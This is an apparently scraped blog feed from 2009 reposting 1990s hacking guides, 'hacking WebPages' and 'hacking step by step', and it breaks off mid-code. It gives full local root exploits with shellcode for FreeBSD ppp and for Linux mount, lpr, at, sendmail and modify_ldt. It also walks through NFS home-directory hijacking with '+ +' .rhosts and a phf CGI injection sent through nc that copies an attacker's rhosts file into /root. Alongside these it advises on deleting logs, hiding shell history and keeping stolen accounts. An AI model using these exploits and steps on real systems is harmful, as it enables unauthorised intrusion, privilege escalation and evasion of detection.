/tmp/.302.f5a4&lt;br /&gt;+ +&lt;br /&gt;&lt;br /&gt;catluvr (14 19:12) litterbox:~&gt; rm /tmp/.302.f5a4&lt;br /&gt;&lt;br /&gt;catluvr (15 19:14) litterbox:~&gt; rlogin litterbox.org -l hamors&lt;br /&gt;&lt;br /&gt;now on to another one, this will be the last one that I'm going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on&lt;br /&gt;  FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;&lt;br /&gt;#define BUFFER_SIZE     156     /* size of the bufer to overflow */&lt;br /&gt;&lt;br /&gt;#define OFFSET          -290    /* number of bytes to jump after the start&lt;br /&gt;                                   of the buffer */&lt;br /&gt;&lt;br /&gt;long get_esp(void) { __asm__("movl %esp,%eax\n"); }&lt;br /&gt;&lt;br /&gt;main(int argc, char *argv[])&lt;br /&gt;{&lt;br /&gt;        char *buf = NULL;&lt;br /&gt;        unsigned long *addr_ptr = NULL;&lt;br /&gt;        char *ptr = NULL;&lt;br /&gt;        char execshell[] =&lt;br /&gt;        "\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */&lt;br /&gt;        "\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */&lt;br /&gt;        "\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"  /* 20 bytes */&lt;br /&gt;        "\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04";    /* 15 bytes, 57 total */&lt;br /&gt;   &lt;br /&gt;        int i,j;&lt;br /&gt;&lt;br /&gt;        buf = malloc(4096);&lt;br /&gt;&lt;br /&gt;        /* fill start of bufer with nops */&lt;br /&gt;&lt;br /&gt;        i = BUFFER_SIZE-strlen(execshell);&lt;br /&gt;&lt;br /&gt;        memset(buf, 0x90, i);&lt;br /&gt;        ptr = buf + i;&lt;br /&gt;&lt;br /&gt;        /* place exploit code into the buffer */&lt;br /&gt;&lt;br /&gt;        for(i = 0; i &lt; strlen(execshell); i++) &lt;br /&gt;                *ptr++ = execshell[i];&lt;br /&gt;&lt;br /&gt;        addr_ptr = (long *)ptr;&lt;br /&gt;        for(i=0;i &lt; (104/4); i++)&lt;br /&gt;                *addr_ptr++ = get_esp() + OFFSET;&lt;br /&gt;&lt;br /&gt;        ptr = (char *)addr_ptr;&lt;br /&gt;        *ptr = 0;&lt;br /&gt;&lt;br /&gt;        setenv("HOME", buf, 1);&lt;br /&gt;&lt;br /&gt;        execl("/usr/sbin/ppp", "ppp", NULL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Now that you've gotten root "what's next?" Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd  and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them. We recommend that if you are serious about learing ethnical hacking that you download our Unix Bible.&lt;br /&gt;&lt;br /&gt;~~PSYCHOTIC~~&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-5250364595509633200?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/5250364595509633200/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-webpages.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/5250364595509633200'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/5250364595509633200'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/hacking-webpages.html' title='hacking WebPages'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-1761814257575583187</id><published>2009-05-27T13:49:00.002-07:00</published><updated>2009-05-27T13:50:33.152-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>hacking step by step</title><content type='html'>User's guide&lt;br /&gt;   __________________________&lt;br /&gt;&lt;br /&gt;Well, howdi folks... I guess you are all wondering who's this guy (me)&lt;br /&gt;that's trying to show you a bit of everything... ?&lt;br /&gt;Well, I ain't telling you anything of that...&lt;br /&gt;Copyright, and other stuff like this (below).&lt;br /&gt;&lt;br /&gt;Copyright and stuff...&lt;br /&gt;______________________&lt;br /&gt;&lt;br /&gt;If you feel offended by this subject (hacking) or you think that you could&lt;br /&gt;do better, don't read the below information...&lt;br /&gt;This file is for educational purposes ONLY...;)&lt;br /&gt;I ain't responsible for any damages you made after reading this...(I'm very &lt;br /&gt;serious...)&lt;br /&gt;So this can be copied, but not modified (send me the changes, and if they&lt;br /&gt;are good, I'll include them ).&lt;br /&gt;Don't read it, 'cuz it might be illegal.&lt;br /&gt;I warned you...&lt;br /&gt;If you would like to continue, press &lt;PgDown&gt;.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Intro: Hacking step by step.&lt;br /&gt;_________________________________________________________________________________&lt;br /&gt;&lt;br /&gt;Well, this ain't exactely for begginers, but it'll have to do.&lt;br /&gt;What all hackers has to know is that there are 4 steps in hacking...&lt;br /&gt;&lt;br /&gt;Step 1: Getting access to site.&lt;br /&gt;Step 2: Hacking r00t.&lt;br /&gt;Step 3: Covering your traces.&lt;br /&gt;Step 4: Keeping that account.&lt;br /&gt;&lt;br /&gt;Ok. In the next pages we'll see exactely what I ment.&lt;br /&gt;&lt;br /&gt;Step 1: Getting access.&lt;br /&gt;_______&lt;br /&gt;&lt;br /&gt;Well folks, there are several methods to get access to a site.&lt;br /&gt;I'll try to explain the most used ones.&lt;br /&gt;The first thing I do is see if the system has an export list:&lt;br /&gt;&lt;br /&gt;mysite:~&gt;/usr/sbin/showmount -e victim.site.com&lt;br /&gt;RPC: Program not registered.&lt;br /&gt;&lt;br /&gt;If it gives a message like this one, then it's time to search another way&lt;br /&gt;in.&lt;br /&gt;What I was trying to do was to exploit an old security problem by most&lt;br /&gt;SUN OS's that could allow an remote attacker to add a .rhosts to a users&lt;br /&gt;home directory... (That was possible if the site had mounted their home&lt;br /&gt;directory.&lt;br /&gt;Let's see what happens...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;mysite:~&gt;/usr/sbin/showmount -e victim1.site.com&lt;br /&gt;/usr  victim2.site.com&lt;br /&gt;/home (everyone)&lt;br /&gt;/cdrom (everyone)&lt;br /&gt;mysite:~&gt;mkdir /tmp/mount&lt;br /&gt;mysite:~&gt;/bin/mount -nt nfs victim1.site.com:/home /tmp/mount/&lt;br /&gt;mysite:~&gt;ls -sal /tmp/mount&lt;br /&gt;   total 9&lt;br /&gt;   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./&lt;br /&gt;   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../&lt;br /&gt;   1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/&lt;br /&gt;   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/&lt;br /&gt;   1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/&lt;br /&gt;   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/&lt;br /&gt;   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers&lt;br /&gt;   1 drwx------   3 test     100          1024 Oct  8 21:05 test/&lt;br /&gt;   1 drwx------  15 102      100          1024 Oct 20 18:57 rapper/&lt;br /&gt;  &lt;br /&gt;Well, we wanna hack into rapper's home.&lt;br /&gt;mysite:~&gt;id&lt;br /&gt;uid=0 euid=0&lt;br /&gt;mysite:~&gt;whoami&lt;br /&gt;root&lt;br /&gt;mysite:~&gt;echo "rapper::102:2::/tmp/mount:/bin/csh" &gt;&gt; /etc/passwd&lt;br /&gt;&lt;br /&gt;We use /bin/csh 'cuz bash leaves a (Damn!) .bash_history  and you might&lt;br /&gt;forget it on the remote server...&lt;br /&gt;&lt;br /&gt;mysite:~&gt;su - rapper&lt;br /&gt;Welcome to rapper's user.&lt;br /&gt;mysite:~&gt;ls -lsa /tmp/mount/&lt;br /&gt;   total 9&lt;br /&gt;   1 drwxrwxr-x   8 root     root         1024 Jul  4 20:34 ./&lt;br /&gt;   1 drwxr-xr-x  19 root     root         1024 Oct  8 13:42 ../&lt;br /&gt;   1 drwxr-xr-x   3 at1      users        1024 Jun 22 19:18 at1/&lt;br /&gt;   1 dr-xr-xr-x   8 ftp      wheel        1024 Jul 12 14:20 ftp/&lt;br /&gt;   1 drwxrx-r-x   3 john     100          1024 Jul  6 13:42 john/&lt;br /&gt;   1 drwxrx-r-x   3 139      100          1024 Sep 15 12:24 paul/&lt;br /&gt;   1 -rw-------   1 root     root          242 Mar  9  1997 sudoers&lt;br /&gt;   1 drwx------   3 test     100          1024 Oct  8 21:05 test/&lt;br /&gt;   1 drwx------  15 rapper   daemon       1024 Oct 20 18:57 rapper/&lt;br /&gt;&lt;br /&gt;So we own this guy's home directory...&lt;br /&gt;&lt;br /&gt;mysite:~&gt;echo "+ +" &gt; rapper/.rhosts&lt;br /&gt;mysite:~&gt;cd /&lt;br /&gt;mysite:~&gt;rlogin victim1.site.com&lt;br /&gt;Welcome to Victim.Site.Com.&lt;br /&gt;SunOs ver....(crap).&lt;br /&gt;victim1:~$&lt;br /&gt;&lt;br /&gt;This is the first method...&lt;br /&gt;Another method could be to see if the site has an open 80 port. That would&lt;br /&gt;mean that the site has a web page.&lt;br /&gt;(And that's very bad, 'cuz it usually it's vulnerable).&lt;br /&gt;Below I include the source of a scanner that helped me when NMAP wasn't written.&lt;br /&gt;(Go get it at http://www.dhp.com/~fyodor. Good job, Fyodor).&lt;br /&gt;NMAP is a scanner that does even stealth scanning, so lots of systems won't&lt;br /&gt;record it.&lt;br /&gt;&lt;br /&gt;/* -*-C-*- tcpprobe.c */&lt;br /&gt;/* tcpprobe - report on which tcp ports accept connections */&lt;br /&gt;/* IO ERROR, error@axs.net, Sep 15, 1995 */&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;sys/socket.h&gt;&lt;br /&gt;#include &lt;netinet/in.h&gt;&lt;br /&gt;#include &lt;errno.h&gt;&lt;br /&gt;#include &lt;netdb.h&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;&lt;br /&gt;int main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;  int probeport = 0;&lt;br /&gt;  struct hostent *host;&lt;br /&gt;  int err, i, net;&lt;br /&gt;  struct sockaddr_in sa;&lt;br /&gt;&lt;br /&gt;  if (argc != 2) {&lt;br /&gt;    printf("Usage: %s hostname\n", argv[0]);&lt;br /&gt;    exit(1);&lt;br /&gt;  }&lt;br /&gt;&lt;br /&gt;  for (i = 1; i &lt; 1024; i++) {&lt;br /&gt;    strncpy((char *)&amp;sa, "", sizeof sa);&lt;br /&gt;    sa.sin_family = AF_INET;&lt;br /&gt;    if (isdigit(*argv[1]))&lt;br /&gt;      sa.sin_addr.s_addr = inet_addr(argv[1]);&lt;br /&gt;    else if ((host = gethostbyname(argv[1])) != 0)&lt;br /&gt;      strncpy((char *)&amp;sa.sin_addr, (char *)host-&gt;h_addr, sizeof sa.sin_addr);&lt;br /&gt;    else {&lt;br /&gt;      herror(argv[1]);&lt;br /&gt;      exit(2);&lt;br /&gt;    }&lt;br /&gt;    sa.sin_port = htons(i);&lt;br /&gt;    net = socket(AF_INET, SOCK_STREAM, 0);&lt;br /&gt;    if (net &lt; 0) {&lt;br /&gt;      perror("\nsocket");&lt;br /&gt;      exit(2);&lt;br /&gt;    }&lt;br /&gt;    err = connect(net, (struct sockaddr *) &amp;sa, sizeof sa);&lt;br /&gt;    if (err &lt; 0) {&lt;br /&gt;      printf("%s %-5d %s\r", argv[1], i, strerror(errno));&lt;br /&gt;      fflush(stdout);&lt;br /&gt;    } else {&lt;br /&gt;      printf("%s %-5d accepted.                               \n", argv[1], i);&lt;br /&gt;      if (shutdown(net, 2) &lt; 0) {&lt;br /&gt; perror("\nshutdown");&lt;br /&gt; exit(2);&lt;br /&gt;      }&lt;br /&gt;    }&lt;br /&gt;    close(net);&lt;br /&gt;  }&lt;br /&gt;  printf("                                                                \r");&lt;br /&gt;  fflush(stdout);&lt;br /&gt;  return (0);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;Well, now be very carefull with the below exploits, because they usually get&lt;br /&gt;logged.&lt;br /&gt;Besides, if you really wanna get a source file from /cgi-bin/ use this&lt;br /&gt;sintax : lynx http://www.victim1.com//cgi-bin/finger&lt;br /&gt;If you don't wanna do that, then do a :&lt;br /&gt;&lt;br /&gt;mysite:~&gt;echo "+ +" &gt; /tmp/rhosts&lt;br /&gt;&lt;br /&gt;mysite:~&gt;echo "GET /cgi-bin/phf?Qalias=x%0arcp+phantom@mysite.com:/tmp/rhosts+&lt;br /&gt;/root/.rhosts" | nc -v - 20 victim1.site.com 80&lt;br /&gt;&lt;br /&gt;then &lt;br /&gt;mysite:~&gt;rlogin -l root victim1.site.com&lt;br /&gt;Welcome to Victim1.Site.Com.&lt;br /&gt;victim1:~#&lt;br /&gt;&lt;br /&gt;Or, maybe, just try to find out usernames and passwords...&lt;br /&gt;The usual users are "test", "guest", and maybe the owner of the site...&lt;br /&gt;I usually don't do such things, but you can...&lt;br /&gt;&lt;br /&gt;Or if the site is really old, use that (quote site exec) old bug for&lt;br /&gt;wu.ftpd.&lt;br /&gt;There are  a lot of other exploits, like the remote exploits (innd, imap2,&lt;br /&gt;pop3, etc...) that you can find at rootshell.connectnet.com or at&lt;br /&gt;dhp.com/~fyodor. &lt;br /&gt;&lt;br /&gt;Enough about this topic. (besides, if you can finger the site, you can&lt;br /&gt;figgure out usernames and maybe by guessing passwords (sigh!) you could get&lt;br /&gt;access to the site).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Step 2: Hacking r00t.&lt;br /&gt;______&lt;br /&gt;&lt;br /&gt;First you have to find the system it's running...&lt;br /&gt;a). LINUX&lt;br /&gt;ALL versions:&lt;br /&gt;A big bug for all linux versions is mount/umount and (maybe) lpr.&lt;br /&gt;&lt;br /&gt;/* Mount Exploit for Linux, Jul 30 1996&lt;br /&gt;&lt;br /&gt;::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::&lt;br /&gt;::::::::""`````""::::::""`````""::"```":::'"```'.g$$S$' `````````"":::::::::&lt;br /&gt;:::::'.g#S$$"$$S#n. .g#S$$"$$S#n. $$$S#s s#S$$$ $$$$S". $$$$$$"$$S#n.`::::::&lt;br /&gt;::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ .g#S$$$ $$$$$$ $$$$$$ ::::::&lt;br /&gt;::::: $$$$$$ gggggg $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::&lt;br /&gt;::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::&lt;br /&gt;::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::&lt;br /&gt;::::: $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$ $$$$$$$ $$$$$$ $$$$$$ ::::::&lt;br /&gt;::::::`S$$$$s$$$$S' `S$$$$s$$$$S' `S$$$$s$$$$S' $$$$$$$ $$$$$$ $$$$$$ ::::::&lt;br /&gt;:::::::...........:::...........:::...........::.......:......:.......::::::&lt;br /&gt;:::::::::::::::::::::::::::::::::::::::::::::::;::::::::::::::::::::::::::::&lt;br /&gt;&lt;br /&gt;Discovered and Coded by Bloodmask &amp; Vio&lt;br /&gt;Covin Security 1996&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;sys/stat.h&gt;&lt;br /&gt;&lt;br /&gt;#define PATH_MOUNT "/bin/mount"&lt;br /&gt;#define BUFFER_SIZE 1024&lt;br /&gt;#define DEFAULT_OFFSET 50&lt;br /&gt;&lt;br /&gt;u_long get_esp()&lt;br /&gt;{&lt;br /&gt;  __asm__("movl %esp, %eax");&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;  u_char execshell[] =&lt;br /&gt;   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"&lt;br /&gt;   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"&lt;br /&gt;   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";&lt;br /&gt;&lt;br /&gt;   char *buff = NULL;&lt;br /&gt;   unsigned long *addr_ptr = NULL;&lt;br /&gt;   char *ptr = NULL;&lt;br /&gt;&lt;br /&gt;   int i;&lt;br /&gt;   int ofs = DEFAULT_OFFSET;&lt;br /&gt;&lt;br /&gt;   buff = malloc(4096);&lt;br /&gt;   if(!buff)&lt;br /&gt;   {&lt;br /&gt;      printf("can't allocate memory\n");&lt;br /&gt;      exit(0);&lt;br /&gt;   }&lt;br /&gt;   ptr = buff;&lt;br /&gt;&lt;br /&gt;   /* fill start of buffer with nops */&lt;br /&gt;&lt;br /&gt;   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));&lt;br /&gt;   ptr += BUFFER_SIZE-strlen(execshell);&lt;br /&gt;&lt;br /&gt;   /* stick asm code into the buffer */&lt;br /&gt;&lt;br /&gt;   for(i=0;i &lt; strlen(execshell);i++)&lt;br /&gt;      *(ptr++) = execshell[i];&lt;br /&gt;&lt;br /&gt;   addr_ptr = (long *)ptr;&lt;br /&gt;   for(i=0;i &lt; (8/4);i++)&lt;br /&gt;      *(addr_ptr++) = get_esp() + ofs;&lt;br /&gt;   ptr = (char *)addr_ptr;&lt;br /&gt;   *ptr = 0;&lt;br /&gt;&lt;br /&gt;   (void)alarm((u_int)0);&lt;br /&gt;   printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");&lt;br /&gt;   execl(PATH_MOUNT, "mount", buff, NULL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*LPR exploit:I don't know the author...*/&lt;br /&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;&lt;br /&gt;#define DEFAULT_OFFSET          50&lt;br /&gt;#define BUFFER_SIZE             1023&lt;br /&gt;&lt;br /&gt;long get_esp(void)&lt;br /&gt;{&lt;br /&gt;   __asm__("movl %esp,%eax\n");&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;   char *buff = NULL;&lt;br /&gt;   unsigned long *addr_ptr = NULL;&lt;br /&gt;   char *ptr = NULL;&lt;br /&gt;&lt;br /&gt;   u_char execshell[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"&lt;br /&gt;                        "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"&lt;br /&gt;                        "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"&lt;br /&gt;                        "\xd7\xff\xff\xff/bin/sh";&lt;br /&gt;   int i;&lt;br /&gt;&lt;br /&gt;   buff = malloc(4096);&lt;br /&gt;   if(!buff)&lt;br /&gt;   {&lt;br /&gt;      printf("can't allocate memory\n");&lt;br /&gt;      exit(0);&lt;br /&gt;   }&lt;br /&gt;   ptr = buff;&lt;br /&gt;   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));&lt;br /&gt;   ptr += BUFFER_SIZE-strlen(execshell);&lt;br /&gt;   for(i=0;i &lt; strlen(execshell);i++)&lt;br /&gt;      *(ptr++) = execshell[i];&lt;br /&gt;   addr_ptr = (long *)ptr;&lt;br /&gt;   for(i=0;i&lt;2;i++)&lt;br /&gt;      *(addr_ptr++) = get_esp() + DEFAULT_OFFSET;&lt;br /&gt;   ptr = (char *)addr_ptr;&lt;br /&gt;   *ptr = 0;&lt;br /&gt;   execl("/usr/bin/lpr", "lpr", "-C", buff, NULL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;b.) Version's 1.2.* to 1.3.2&lt;br /&gt;NLSPATH env. variable exploit:&lt;br /&gt;&lt;br /&gt;/* It's really annoying for users and good for me... &lt;br /&gt;AT exploit gives only uid=0 and euid=your_usual_euid.&lt;br /&gt;*/&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;sys/stat.h&gt;&lt;br /&gt;&lt;br /&gt;#define path "/usr/bin/at"&lt;br /&gt;#define BUFFER_SIZE 1024&lt;br /&gt;#define DEFAULT_OFFSET 50&lt;br /&gt;&lt;br /&gt;u_long get_esp()&lt;br /&gt;{&lt;br /&gt;  __asm__("movl %esp, %eax");&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;  u_char execshell[] =&lt;br /&gt;   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"&lt;br /&gt;   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"&lt;br /&gt;   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";&lt;br /&gt;&lt;br /&gt;   char *buff = NULL;&lt;br /&gt;   unsigned long *addr_ptr = NULL;&lt;br /&gt;   char *ptr = NULL;&lt;br /&gt;&lt;br /&gt;   int i;&lt;br /&gt;   int ofs = DEFAULT_OFFSET;&lt;br /&gt;&lt;br /&gt;   buff = malloc(4096);&lt;br /&gt;   if(!buff)&lt;br /&gt;   {&lt;br /&gt;      printf("can't allocate memory\n");&lt;br /&gt;      exit(0);&lt;br /&gt;   }&lt;br /&gt;   ptr = buff;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));&lt;br /&gt;   ptr += BUFFER_SIZE-strlen(execshell);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   for(i=0;i &lt; strlen(execshell);i++)&lt;br /&gt;      *(ptr++) = execshell[i];&lt;br /&gt;&lt;br /&gt;   addr_ptr = (long *)ptr;&lt;br /&gt;   for(i=0;i &lt; (8/4);i++)&lt;br /&gt;      *(addr_ptr++) = get_esp() + ofs;&lt;br /&gt;   ptr = (char *)addr_ptr;&lt;br /&gt;   *ptr = 0;&lt;br /&gt;&lt;br /&gt;   (void)alarm((u_int)0);&lt;br /&gt;   printf("AT exploit discovered by me, _PHANTOM_ in 1997.\n");&lt;br /&gt;   setenv("NLSPATH",buff,1);&lt;br /&gt;   execl(path, "at",NULL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;SENDMAIL exploit: (don't try to chmod a-s this one... :) )&lt;br /&gt;&lt;br /&gt;/* SENDMAIL Exploit for Linux&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;#include &lt;unistd.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;fcntl.h&gt;&lt;br /&gt;#include &lt;sys/stat.h&gt;&lt;br /&gt;&lt;br /&gt;#define path "/usr/bin/sendmail"&lt;br /&gt;#define BUFFER_SIZE 1024&lt;br /&gt;#define DEFAULT_OFFSET 50&lt;br /&gt;&lt;br /&gt;u_long get_esp()&lt;br /&gt;{&lt;br /&gt;  __asm__("movl %esp, %eax");&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;main(int argc, char **argv)&lt;br /&gt;{&lt;br /&gt;  u_char execshell[] =&lt;br /&gt;   "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"&lt;br /&gt;   "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"&lt;br /&gt;   "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff./sh";&lt;br /&gt;&lt;br /&gt;   char *buff = NULL;&lt;br /&gt;   unsigned long *addr_ptr = NULL;&lt;br /&gt;   char *ptr = NULL;&lt;br /&gt;&lt;br /&gt;   int i;&lt;br /&gt;   int ofs = DEFAULT_OFFSET;&lt;br /&gt;&lt;br /&gt;   buff = malloc(4096);&lt;br /&gt;   if(!buff)&lt;br /&gt;   {&lt;br /&gt;      printf("can't allocate memory\n");&lt;br /&gt;      exit(0);&lt;br /&gt;   }&lt;br /&gt;   ptr = buff;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));&lt;br /&gt;   ptr += BUFFER_SIZE-strlen(execshell);&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   for(i=0;i &lt; strlen(execshell);i++)&lt;br /&gt;      *(ptr++) = execshell[i];&lt;br /&gt;&lt;br /&gt;   addr_ptr = (long *)ptr;&lt;br /&gt;   for(i=0;i &lt; (8/4);i++)&lt;br /&gt;      *(addr_ptr++) = get_esp() + ofs;&lt;br /&gt;   ptr = (char *)addr_ptr;&lt;br /&gt;   *ptr = 0;&lt;br /&gt;&lt;br /&gt;   (void)alarm((u_int)0);&lt;br /&gt;   printf("SENDMAIL exploit discovered by me, _PHANTOM_ in  1997\n");&lt;br /&gt;   setenv("NLSPATH",buff,1);&lt;br /&gt;   execl(path, "sendmail",NULL);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;MOD_LDT exploit (GOD, this one gave such a headache to my Sysadmin (ROOT)&lt;br /&gt;!!!)&lt;br /&gt;&lt;br /&gt;/* this is a hack of a hack.  a valid System.map was needed to get this &lt;br /&gt;   sploit to werk.. but not any longer.. This sploit will give you root&lt;br /&gt;   if the modify_ldt bug werks.. which I beleive it does in any kernel &lt;br /&gt;   before 1.3.20 ..&lt;br /&gt;   &lt;br /&gt;   QuantumG&lt;br /&gt;*/&lt;br /&gt;&lt;br /&gt;/* original code written by Morten Welinder.&lt;br /&gt; *&lt;br /&gt; * this required 2 hacks to work on the 1.2.13 kernel that I've tested on:&lt;br /&gt; * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.&lt;br /&gt; * 2. the _task in the System.map file has no leading underscore.&lt;br /&gt; * I am not sure at what point these were changed, if you are&lt;br /&gt; * using this on a newer kernel compile with NEWERKERNEL defined.&lt;br /&gt; *                                          -ReD&lt;br /&gt; */&lt;br /&gt;&lt;br /&gt;#include &lt;linux/ldt.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;linux/unistd.h&gt;&lt;br /&gt;#include &lt;signal.h&gt;&lt;br /&gt;#ifdef NEWERKERNEL&lt;br /&gt;#include &lt;asm/sigcontext.h&gt;&lt;br /&gt;#endif&lt;br /&gt;#define __KERNEL__&lt;br /&gt;#include &lt;linux/sched.h&gt;&lt;br /&gt;#include &lt;linux/module.h&gt;&lt;br /&gt;&lt;br /&gt;static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);&lt;br /&gt;static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;#define KERNEL_BASE 0xc0000000&lt;br /&gt;/* ------------------------------------------------------------------------ */&lt;br /&gt;static __inline__ unsigned char&lt;br /&gt;__farpeek (int seg, unsigned ofs)&lt;br /&gt;{&lt;br /&gt;  unsigned char res;&lt;br /&gt;  asm ("mov %w1,%%gs ; gs; movb (%2),%%al"&lt;br /&gt;       : "=a" (res)&lt;br /&gt;       : "r" (seg), "r" (ofs));&lt;br /&gt;  return res;&lt;br /&gt;}&lt;br /&gt;/* ------------------------------------------------------------------------ */&lt;br /&gt;static __inline__ void&lt;br /&gt;__farpoke (int seg, unsigned ofs, unsigned char b)&lt;br /&gt;{&lt;br /&gt;  asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"&lt;br /&gt;       : /* No results.  */&lt;br /&gt;       : "r" (seg), "r" 